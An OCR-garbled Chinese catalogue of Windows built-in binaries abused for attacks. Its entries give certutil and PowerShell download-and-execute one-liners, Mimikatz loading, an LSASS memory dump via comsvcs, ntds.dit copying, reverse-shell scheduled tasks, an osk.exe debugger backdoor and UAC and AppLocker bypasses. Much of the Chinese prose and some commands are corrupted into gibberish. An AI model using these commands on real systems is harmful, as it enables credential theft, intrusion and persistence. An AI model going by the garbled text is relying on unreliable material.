ERMAES RSN, Windows {X3z#F JScript #11 VBScript,

wiT7AEC:

te.exe bypass.wsc

CScript.exe/WScript.exe
AT/ AR RIKITATRE
FSCEEE:  https://mp.weixin.qg.com/s/jzZWHq7Yc1UjOwnXullAPKQ

ARG cscript.exe 2FHE Windows RFEXGRFHNEEN A, BEBR FEETEIRE
AR EFEEIEN, WFRRIERETRINEXEE, Windows Script Host 5|27
cscript.exe ESHINEERANNEITE, &EWHIE VBScript #1 JavaScript.,


https://mp.weixin.qq.com/s/m37wm620qQ1xw4BN2hGOpg
https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/
https://mp.weixin.qq.com/s/jzWHq7Yc1UjOwnXulIAPKQ

wscript £FR “Windows Scripting Host” , 2—f#XIES / BaiT LE—EBRXINH
2P "wscriptexe” B—MHAESHERESS, [UF C\WINDOWS\system32 BRT, [ERE
ZEEHATLSHIT, MEsTHbIE— s, STLAERAIT. wsh, vbs, js &,

WScript 2—MELAYRRA; CScript 2— P apS1THIRA. FFRAEBRT LU THTHIZ,
“EZENXAIE, BRHIRA (WScript) ERA—MEHNERERB RN ARBLER, Mman<
TR (CSCript) BT aHTIEFATIAY. BMAY "l 75ERERNA.,

CScript/WScript RILARSEHAT vbs M js FHIA, REBEAZIRRAIEREIRTHITAIMIZAZR
SHIRREET],

PTHA=:
A cscript.exe HUTERAY vbs BIAR,

cscript.exe TIDE.vbs

{58F WScript.exe #1117 vbs [R58BIA, # cscript.exe B SITHIRBXAHLES.

WScript.exe TIDE.vbs

InfDefaultinstall.exe
REAT/EN: AR RIKITHRE
AN EREE:  https://mp.weixin.gg.com/s/mrtX4ayCXJJ1LPfBISuvHwW

InfDefaultInstall.exe E2—MNARHT inf T E, BEEMKRESE, FEERRA:


https://mp.weixin.qq.com/s/mrtX4ayCXJJ1LPfBlSuvHw

C:\Windows\System32\Infdefaultinstall.exe
C:\Windows\SysWOW64\Infdefaultinstall.exe

b/ >,
HPATIR:
InfDefaultInstall.exe "C:\xxx\shady.inf"

Efth MS windows & (45 )

At.exe
{ERR5AAR :
windows itX{ESERF.

SAHERIZ:

C:\WINDOWS\System32\At.exe
C: \WINDOWS\SysWOW64\At .exe

T

C:\Windows\System32\at.exe at ©9:00 /interactive /every:m,t,w,th,f,s,su
C:\Windows\System32\revshell.exe

SERR:

https://freddiebarrsmith.com/at. txt



https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html - Escalate to
System from Administrator
https://www.secureworks.com/blog/where-you-at-indicators-of-Llateral-movement-using-at-exe-on-

windows-7-systems

Atbroker.exe
(s FEI5ERR

windows EEIFAR AT 2.
NAFIRE:

C:\Windows\System32\Atbroker.exe
C:\Windows\SysWOW64\Atbroker.exe

MiTA:
ATBroker.exe /start malware
SETH:

http://www.hexacorn.com/blog/2016/07/22/beyond-good-o0l-run-key-part-42/

Bash.exe
{EFFIERE: Windows F&SEATF Linux RIS/t
SRR

C:\Windows\System32\bash.exe
C : \Windows\SvsWOW64\ hash .exe



A
bash.exe -c calc.exe

SETH:

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-

control/microsoft-recommended-block-rules

Bitsadmin.exe
ERRE: BFEEEES X ERmINER.
NEFERIR:

C:\Windows\System32\bitsadmin.exe
C:\Windows\SysWOW64\bitsadmin.exe

AT

bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe &
bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin
/Reset

TR

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe

c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

SEERL



https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679 - slide 53
https://www. ***¥**** com/watch?v=_8xJaaQlpBo

https://gist.github.com/apiocradle/cdd2dodoec9abb686f0e89306e277b8f

Certutil.exe
{SEFRIAR

Certutil.exe B— M S1TERF, (EALEBRSBI—EBoTE. B(ITLERETETEBRTE
HEHITEAIBTER exe SWHLUIKEY meterpreter £1F.

SAHERTE:

C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe

MiTA:

certutil -urlcache -split -f http://x.x.x.x/msf a.exe && a.exe
certutil.exe -urlcache -split -f http://x.x.x.x/x.jar &&java -jar x.jar
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe

certutil -encode inputFileName encodedOutputFileName
certutil -decode encodedInputFileName decodedOutputFileName

SETR
https://twitter.com/Moriarty_Meng/status/984380793383370752

https://twitter.com/mattifestation/status/620107926288515072



https://twitter.com/egre55/status/1087685529016193025

Cmd.exe
{$FFRIER:

windows @< 1THERF.
SAHERAR:

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd. exe

MiTA:

cmd.exe /c echo regsv*** exe ~/s ~/u ~/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-
team/master/atomics/T1117/RegSv***.sct ~scrobj.dll > fakefile.doc:payload.bat
cmd.exe - < fakefile.doc:payload.bat

SERR:

https://twitter.com/yeyint_mth/status/1143824979139579904

Cmdkey.exe
FEFRER: R, AT AEROFE P LR BB AR,
SHEEAR:

C:\Windows\System32\cmdkey.exe
C:\Windows\SysWOW64\cmdkey.exe



PATA:
cmdkey /list
SEERL

https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey

Control.exe
{SEFBAR
FBF7& Windows SjgahizHl iRt Ba0ErRF.

SRR

C:\Windows\System32\control.exe
C:\Windows\SysWOW64\control.exe

HPATIR:

control.exe c:\windows\tasks\file.txt:evil.dll

SEHM
https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/

https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/

h++nc+ / /+uit+tan ram/hanhAanc /c+a+i1c /QEEARQRA100201 74100



HLLPD e/ / LWLULLTI « LU/ UVIIUP D/ DLALUD/ JJJIVUIJIVULUUOUL/ FTUS

https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items

https://bohops.com/2018/01/23/1loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-
applocker/

Csc.exe

(s FRIER :

NET AJLAER csc FBRkdmiE C# 8.
PILLTEYES

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe

T

csc.exe -out:My.exe File.cs

csc -target:library File.cs
SETH:

https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-

building-with-csc-exe

Dfsvc.exe

{SEF5AA:



dfsvc.exe BRI BENFEFERCETEHERENN, NREEMEBEBNERER FEEIB
P AppData #fY ClickOnce X432, RENIFIUE (EEBXEHMIE) BaiE.

/Z.
XA
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

/4= .
HAT7a0:
rundl132.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?paraml=foo
SE7H

https://github.com/api@cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf

https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

Dnscmd.exe

{FEFEAA :

FIFE1E DNS RS89 S1TRE
YR

C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe



/= >
PATHN:
dnscmd.exe dcl.lab.int /config /serverlevelplugindll \\192.168.0.149\d11\wtf.d11l

SETHL

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-1line-a@f779b8dc83

https://blog.30or.de/hunting-dns-server-level-plugin-dll-injection.html
https://github.com/dim@x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp

https://twitter.com/Hexacorn/status/994000792628719618

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-

directory.html

Esentutl.exe
{SEFBAR
FAF4bEE Microsoft BXE5 |ZERIN (JET) #iE=ER —HHISc4

SRR

C:\Windows\System32\esentutl.exe
C:\Windows\SysWOWe4\esentutl.exe

AT

ncantitl ava /v C\NfAaldanr\caninrafila vihe /d C\fAldan\AdAac+fila vihe /n



TOTIHIILULL.TAT /¥y Lo \IULUTI \DUUI LTI LIT.VUD /U L. \IULUTI \UEDLIL1IT.VUD /U

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o

esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o

esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d

\\otherwebdavserver\webdav\adrestore.exe /o
SERRL
https://twitter.com/egre55/status/985994639202283520

https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/

https://twitter.com/bohops/status/1094810861095534592

Eventvwr.exe
{SEFBAR
£ GUI 0% 8/~ Windows E4HE.

SAHERIZ:

C:\Windows\System32\eventvur.exe
C:\Windows\SysWOW64\eventvwr.exe

WiTA:
eventvwr.exe

SETRL



https://enigmabx3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://github.com/enigma®x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.psl

Expand.exe

{EFFIAR:
expand.exe 2—MaJHITE, BTF Microsoft Corporation F4&HJ User Profile Hive
Cleanup Service I2FRI—aBD . FTH EXIHESERITIEE.

SAHERIZ:

C:\Windows\System32\Expand.exe
C:\Windows\SysWOW64\Expand.exe

MiTA=:

expand \\webdav\folder\file.bat c:\ADS\file.bat
expand c:\ADS\filel.bat c:\ADS\file2.bat
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat

SETHL

https://twitter.com/infosecninja/status/986628482858807297
https://twitter.com/0Oddvarmoe/status/986709068759949319

Extexport.exe

{s5F9iEA: ExtExport.exe 2EHITI, BF Microsoft Corporation FFAR] Internet
Explorer F2FFRY—3B% .

TTAHRR R



AlTeglxz.

C:\Program Files\Internet Explorer\Extexport.exe

C:\Program Files (x86)\Internet Explorer\Extexport.exe
[L= S

AT

Extexport.exe c:\test foo bar

SE7M

http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/

Extrac32.exe
EFFRBE: extrac32.exe 2/&F Microsoft® CAB File Extract Utility HIIHFE,

SRR

C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe

AT

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

SERR

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/



https://gist.github.com/api@cradle/cdd2d@d@ec9abb6861f0e89306e277b8f

https://twitter.com/egre55/status/985994639202283520

Findstr.exe

{sEFRRA:

findstr.exe B&UTF find #5<, findstr SHFIENFRIAR, i find ALK, findstr FBEFHRY)
{9 Windows 2000 Resource Kit B9—&85 %%, B#A qgrep.

SAHERIZ:

C:\Windows\System32\findstr.exe
C:\Windows\SysWOW64\findstr.exe

T

findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
findstr /S /I cpassword \\sysvol\policies\*.xml

findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe

SETRL

https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
https://gist.github.com/api@cradle/cdd2d@d@ec9abb686f0e89306e277b8f

GfxDownloadWrapper.exe

{SEFRAA :



T/ RERAEHIEREER GfxDownloadWrapper.exe SR TIZIES S TE, BIE—1S2L
URL FIE#REESR.

SAH BT

c:\windows\system32\driverstore\filerepository\64kb6472.inf_amd64_3daef@3bbe98572b\
c:\windows\system32\driverstore\filerepository\cui_comp.inf_amd64_0e9c57ae3396e055\
c:\windows\system32\driverstore\filerepository\cui_component.inf_amd64_0219cc1c7085a93f\

MiTH=:

C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL"
"DESTINATION FILE"

SETRL

https://www.sothis.tech/author/jgalvez/

Gpscript.exe

fSEPRIFBR:

‘AEERR{EFE Gpscript.exe SEQMEBRIZ,
MBI

C:\Windows\System32\gpscript.exe
C:\Windows\SysWOW64\gpscript.exe

T A



Gpscript /logon
Gpscript /startup

SETHL

https://oddvar.moe/2018/04/27/gpscript-exe-another-Llolbin-to-the-Llist/

Hh.exe
EJzSatzR

hh.exe SXHRE HTML FBEIRTHITIER, B©REG1E8 Windows 0 1H, BSR4
PHERSERITF  "RIFAIESEISE"  (3REL chm) B, BT, BEER HTML #58)
ActiveX 24, EREHBIXAHERIEERRTIT.

SAHERIZ:

C:\Windows\System32\hh.exe
C:\Windows\SysWOW64\hh.exe

T

HH.exe http://some.url/script.psl

HH.exe c:\windows\system32\calc.exe
SEER

https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/



le4uinit.exe

{SEF5AR:

leduinit.exe, Internet Explorer 8IS LREER, EXEMRNEFEIREHRITRE, 1%ZE
TREIFERER  "%userprofile%\ AppData \ Local” FHERFEI— A " .db" KB
X, EWREFRE Windows 5% IE (FRNERRIA, LIBRESELREL].

SAHERTE:

c:\windows\system32\ie4uinit.exe
c:\windows\sysWOW64\ieduinit.exe
c:\windows\system32\ieuinit.inf

c:\windows\sysWOW64\ieuinit.inf
HFATIR:

ieduinit.exe -BaseSettings
SEFH:

https://bohops.com/2018/03/10/1leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-

persistence-part-2/

Jsc.exe

{SEFRAR -

icr ava B NMirvrAacAft CArnAarvatinn ITHEAA NMicrrAacAf+® ICAvint NIET GA—szi4N [== 3 ral =g



JDL.C/\C AE IVIILTUDUVIL Ul puIalivll J | SCHY IVIILTUDUVILNWYJOLLTIYLUL .INL T QY

javascript fXiB4miE/. exe 8. dIl FBTAIZHBIS,
SAREIR:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Jsc.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Jsc.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\Jsc.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Jsc.exe

AT

jsc.exe scriptfile.js
jsc.exe /t:library Library.js

SETH:

https://twitter.com/DissectMalware/status/998797808907046913

https://www.phpied. com/make-your-javascript-a-windows-exe/

Makecab.exe
E==al=R
Makecab.exe FBFIES{4+T8 AL Cabinet (.cab) {4,

SAHERIZ:

C:\Windows\System32\makecab.exe
C:\Windows\SysWOW64\makecab.exe

T

aRrJJ

FANTT



makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
sERH:
https://gist.github.com/apibcradle/cdd2dodoec9abb686f0e89306e277b8f

Mmc.exe
{SEFRAR

mmc.exe ERAEIRIEFI—MESRER, £FRZ Microsoft Management Console, B2
AT ER A msc WEEREF—MaTH¥E, tLilERE, Raas, T35S, TR
ENE, AT eRIREE, BINMNHEDLARERZI TR HESA.

SAHERIZ:

C:\Windows\System32\mmc.exe
C:\Windows\SysWOW64\mmc .exe

HAT7a0:
mmc.exe -Embedding c:\path\to\test.msc
SEHH:

https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-

evasion-and-persistence/

Msconfig.exe



fSEF5AA:

msconfig.exe BFEE. REEREERRICE X G MIERERAZBNEENER / RS,
BFE: Win.ini, boot.ini, ERRBIENEEFZE.

SAHRTE:

C:\Windows\System32\msconfig.exe
PATA0:
HUTERATE c\windows\system32\mscfgtlc.xml &<,

Msconfig.exe -5

https://twitter.com/pabraeken/status/991314564896690177

Msdt.exe
EFFAE: Microsoft W TH
SRR

C:\Windows\System32\Msdt.exe
C:\Windows\SysWOW64\Msdt.exe

T A

msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\PCW8E57.xml /skip TRUE



SETH:

https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-

malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/

https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

https://twitter.com/harreey/status/991338229952598016

Netsh.exe
{SEFBAR :

Netsh.exe E— M EERAT LRGSR UGB EHFIEMWET Windows RIIHENIRITE,
{#F Netsh.exe TR, aJLUSMAR LTS ERRIEHR95EESE, AEEESEHITH
<. WIS SEERE (dI) XX, TEIRMEES. BSOS —Fa SRS, TRT
Bagti¥, ¥ & Netsh.exe TEHIIHAE,

SAHERR:

C:\WINDOWS\System32\Netsh.exe
C: \WINDOWS\SysWOW64\Netsh.exe

waTHaC:
netsh.exe add helper C:\Users\User\file.dll
SEETR

https://freddiebarrsmith.com/trix/trix.html



https://htmlpreview.github.io/?
https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html

https://Lliberty-shell.com/sec/2018/07/28/netshlep/

Pcwrun.exe

SEFFIRE -
A R R S AR,
POELIES
C:\Windows\System32\pcwrun.exe
waTHaC:

Pcwrun.exe c:\temp\beacon.exe
sEERH

https://twitter.com/pabraeken/status/991335019833708544

Powershell.exe
{SEFBAR

Windows PowerShell STEXOH G SITHIRIAIAE, PowerShell LA. NET Framework /93
& . EWFDIREL NET 5. I SR S R ek T HmE T .



s~ e S T r—— L R e I o e L R g e e i i B A R e N e e b

SAHERAR !

6407 flx4A<: C: \ Windows \ System32 \ WindowsPowerShell \ v1.@
32/ fRA: C: \ Windows \ SysWOW64 \ WindowsPowerShell \ v1.0

miTHE:

a). powershell -exec bypass -c (new-object

System.Net.WebClient).DownloadFile('http://x/1.jpg*, 'C:\Users\x\Desktop\test\12.exe")

b). powershell (Invoke-WebRequest http://x/1.jpg -0 x.jpg)

c) AL UVCIE U AT :

powershell -exec bypass -f \\webdavserver\a.psl

d). WAFINER:

1. powershell IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/E
xfiltration/Invoke-Mimikatz.psl1'); Invoke-Mimikatz

2. powershell -exec bypass -c "iwr
https://gist.githubusercontent.com/Urahara3389/d83b6f9ccedf9aa53f70d987360dbcOe/raw/53ad790f87e0fd2c
9449d5359358cd251c39297a/calc.psl|iex”

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('cs shellcode

address'))"
SERR

https://blog.csdn.net/a1453514850/article/details/88074300

Print.exe

(SRR :

Print.exe & Windows FRIGE 4 A X B FTENHBIFERF.



SRR

C:\Windows\System32\print.exe
C:\Windows\SysWOW64\print.exe

MiTHA=:

print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe
print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe
print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe

SETH

https://twitter.com/Oddvarmoe/status/9855188770765414460
https://www. ¥*¥***¥**_ com/watch?v=nPBcSP8M7KE&Lc=z22fg1cbdkabdf3x404tlaokgwd2zxasf2j3rbozrswnrkohoo41o

Reg.exe

(SRR

reg.exe, AIZAFSHIEMRINA—NFASER(E
SAHERAZE:

C:\Windows\System32\reg.exe
C:\Windows\SysWOW64\reg.exe

AT

reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg



SETRL

https://gist.github.com/apibcradle/cdd2dodoec9abb686f0e89306e277b8f

Regedit.exe
{EFA AR :

regedit.exe BRI ABIHMI—MNHES, 77 C\Windows \ B, aTATFEH
Windows Z2FHEMFRFAII, ELAREHE.

SAH BT

C:\Windows\System32\regedit.exe
C:\Windows\SysWOW64\regedit.exe

T A

regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
regedit C:\ads\file.txt:regfile.reg

SETH:

https://gist.github.com/apibcradle/cdd2dodoec9abb68610e89306e277b8f

Register-cimprovider.exe

{ER5AAA:



FIFERERY WMI 3MEFERE.

SAHERIZ:

C:\Windows\System32\Register-cimprovider.exe

C:\Windows\SysWOW64\Register-cimprovider.exe
PATAN:

Register-cimprovider -path "C:\folder\evil.dll"
SETHL

https://twitter.com/PhilipTsukerman/status/9926021361106268161

Replace.exe

{SEFABA:
ITRAT— I EHERE— 1.
XERE:

C:\Windows\System32\replace.exe
C:\Windows\SysWOW64\replace.exe

FITAE

replace.exe C:\Source\File.cab C:\Destination /A



replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
SEHH:

https://twitter.com/elceef/status/986334113941655553
https://twitter.com/elceef/status/986842299861782529

R***Iing.exe
{SAFRTER -
FBFIGIE rpc &,
SAHERAZ:

C:\Windows\System32\r***ing.exe
C:\Windows\SysWOW64\r***ing.exe

HPATIR:

r***jing -s 127.0.0.1 -e 1234 -a privacy -u NTLM
SEFH:

https://github.com/vysec/RedTips

https://twitter.com/vysecurity/status/974806438316072960

https://twitter.com/vysecurity/status/873181705024266241

Runonce.exe



SEF5AR:

runonce.exe Z2#X Run Once 8%, SHTFE=FNAEFNTZEER. CRTFTEER
NNRSsm, BTFERENE, #HTH—SEE. XNMEFNRERFHNEE R TRIEEEE
3R

SAH R

C:\Windows\System32\runonce.exe

C:\Windows\SysWOW64\runonce.exe
PATAL:

Runonce.exe /AlternateShellStartup
SEFH:

https://twitter.com/pabraeken/status/990717080805789697

https://cmatskas.com/configure-a-runonce-task-on-windows/

Runscripthelper.exe

{s5F3BA: runscripthelper.exe 27 Windows 10 RS3 F5|\Y, EBFffIIEIEEN—NMIE
9B RiZEY PowerShell (XAZFFHIITIXEALE,

SAHERIZ:

C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-
client_31bf3856ad364e35_10.0.16299.15_none_c2dflbba78111118\Runscripthelper.exe
C:\Windows\WinSxS\amd64_microsoft-windows-u..ed-telemetry-

client_31bf3856ad364e35_10.0.16299.192_none_ad4699b571e00c4a\Runscripthelper.exe



/= >

HiTHat:
runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test

SEERL

https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc
http://www.4hou.com/technology/8999. html

Sc.exe
{SEFBAR

{s5F3 Sc.exe BILAESBIFFARY Windows fE55. Sc.exe, RRTESHIRHSTIINIIBE
Windows BRSSHIEHRN AR FmIERE (APl) RERIER. SrTLIBEER ST IsEXEIR
EXXLREAISEL. Scexe BERRSRE, HURFHETRSEOFERFIVE. ZTEIER
FFEEERIEETENEZR, LMEETLUEARBIRS APl BEEEEITZE TN LRRSIAES
&1,

SRR

C:\Windows\System32\sc.exe
C:\Windows\SysWOW64\sc.exe

AT

sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\""

DisplayName= "evilservice" start= auto\ & sc start evilservice

SETHL



https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

Schtasks.exe

{EFAA: schtasks.exe BLZHFan SRR ERIZ TEIEIEERERIZTT. MItRIZRFRIIM
HBRESS, REFZESHUFILES, BrFIESGTHINES.

SAHERIZ:

c:\windows\system32\schtasks.exe

c:\windows\syswow64\schtasks.exe

AT

schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe
SEEH:

https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/

Scriptrunner.exe
{EFFIAA:

ScriptRunner.exe #M9—# Windows Executable 314, ©&&FETFH Microsoft F &R
Microsoft (R) Windows (R) Operating System, ©f#H EXE & ER, F#HM/8 Win32
EXE (RIHATHIN FBFRRF) SUi4.



ScriptRunner.exe &#IFF&ATF 07/29/2015, {7F Windows 10 #B{EER S+, 1ERT
Windows 10, IHXHHRAIREHRE Microsoft MIEFIFIERIT EHTHRAS.

SRR

C:\Windows\System32\scriptrunner.exe

C:\Windows\SysWOW64\scriptrunner.exe
/= >
AT

Scriptrunner.exe -appvscript calc.exe

ScriptRunner.exe -appvscript "\\fileserver\calc.cmd"
SERR
https://twitter.com/KyleHanslovan/status/914800377580503040

https://twitter.com/NickTyrer/status/914234924655312896

https://github.com/MoooKitty/Code-Execution

Tttracer.exe

{EFF AR :

TTTracer.exe, Microsoft f Time Travel TR, ZEFAILUEITEFiRhRARIREEFHYRTE.
SRR

C:\Windows\System32\tttracer.exe

-~ Ve . - [PPSR



C: \W1ndows \SySWuwe4 \TTTracer.exe
/= >,

AT

tttracer.exe C:\windows\system32\calc.exe

SEHH
https://twitter.com/oulusoyum/status/1191329746069655553

https://twitter.com/mattifestation/status/1196390321783025666

https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html

Verclsid.exe
{SEFRIAR

verclsid.exe & Microsoft XP L& EHFEF (KB908531), Windows ZREIRSEFH— &L
D&, WHEDseSF ALREERETF Windows IRFZNL TR RFRIIEHIN,

SAHERTE:

C:\Windows\System32\verclsid.exe
C:\Windows\SysWOW64\verclsid.exe

PATN:
verclsid.exe /S /C {CLSID}
SERR

https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5



https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-

evasion-and-persistence/

Wab.exe

EFF5BE: Windows 1Bl R E&IEss
SRR

C:\Program Files\Windows Mail\wab.exe

C:\Program Files (x86)\Windows Mail\wab.exe
[L= S,
PATAR:

B MHKLM\Software\Microsoft\WAB\DLLPath {47k HDLL

wab.exe
SEHH

https://twitter.com/Hexacorn/status/991447379864932352
http://www. hexacorn.com/blog/2018/05/61/wab-exe-as-a-Lolbin/

wmic.exe

(ERAEE: wmic.exe 2 WMI 447, YEA Windows XP [9—F9&E0 WMI 517 TE
(wmic.exe) I2HE—1NE WMI Eftiar0ap<$1TiE0. TJLAER wmic.exe FUTRBEH ST
B WMIES, gENRE CIM flieE CIM E£ENX.,

SAHERTZ:

C:\Windows\System32\wbem\wmic.exe

AN L d o\ L IALIA AN e e\ e o o



Lo \WLNUOWS \DYSWUND4 \WDEIM \WIM1C. exe
AT

wmic.exe process call create "c:\ads\file.txt:program.exe"
wmic.exe process call create calc

wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\"
/"

wmic.exe /node:"192.168.0.1" process call create "evil.exe"

wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ">
c:\notGoogleUpdateResults.txt"

wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow
/for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"

wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-
Project/LOLBAS/master/0SBinaries/Payload/Wmic_calc.xsl"

wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
SELH

https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-

working-directory
https://subtexll.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html

https://twitter.com/subTee/status/986234811944648707

Wsreset.exe
{SEFRAR -

Windows NAREEETH., RF|GHEEGMERE £, ARBEMESABIEEMER
N, $AIRIEIT WSReset.exe, ZHHISXHELARIFUETT.




SAHERR:
C:\Windows\System32\wsreset.exe

AT
wsreset.exe

SERH
https://www.activecyber.us/activelabs/windows-uac-bypass

https://twitter.com/ihack4falafel/status/1106644790114947073

https://github.com/hfirefox/UACME/blLob/master/README . md

RGESUF (10 1)

Advpack.dll

{EFFIRAA:

{£F8 rundlI32.exe LEBIHFINRANIEFFHISERIER
SRR

c:\windows\system32\advpack.dll
c:\windows\syswow64\advpack.dll

thi===-



Wrvild/Jdave.

rundl132.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1,
rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,,1,

rundll32.exe advpack.dll,RegisterOCX test.dll

rundl132.exe advpack.dll,RegisterOCX calc.exe

rundl132 advpack.dll, RegisterOCX "cmd.exe /c calc.exe"

SEFRL

https://bohops.com/2018/02/26/1leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-

persistence/

https://twitter.com/ItsReallyNick/status/967859147977850880

https://twitter.com/bohops/status/974497123101179904

https://twitter.com/moriarty_meng/status/977848311603380224

Comsvcs.dll

{sEFERA:

8 rundll32.exe #1477 Com + IR,
PUALETTES
c:\windows\system32\comsvcs.d11
HATHIC:

rundl132 C:\windows\system32\comsvcs.dll MiniDump "[LSASS_PID] dump.bin full"



SETRL

https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/

leadvpack.dll
{5F3IREA: FBTF Internet Explorer B9 INF 22725, BHBS5 advpack.dll {8EAIINAEE.
SRR

c:\windows\system32\ieadvpack.dll

c:\windows\syswow64\ieadvpack.dll
WiTAI:

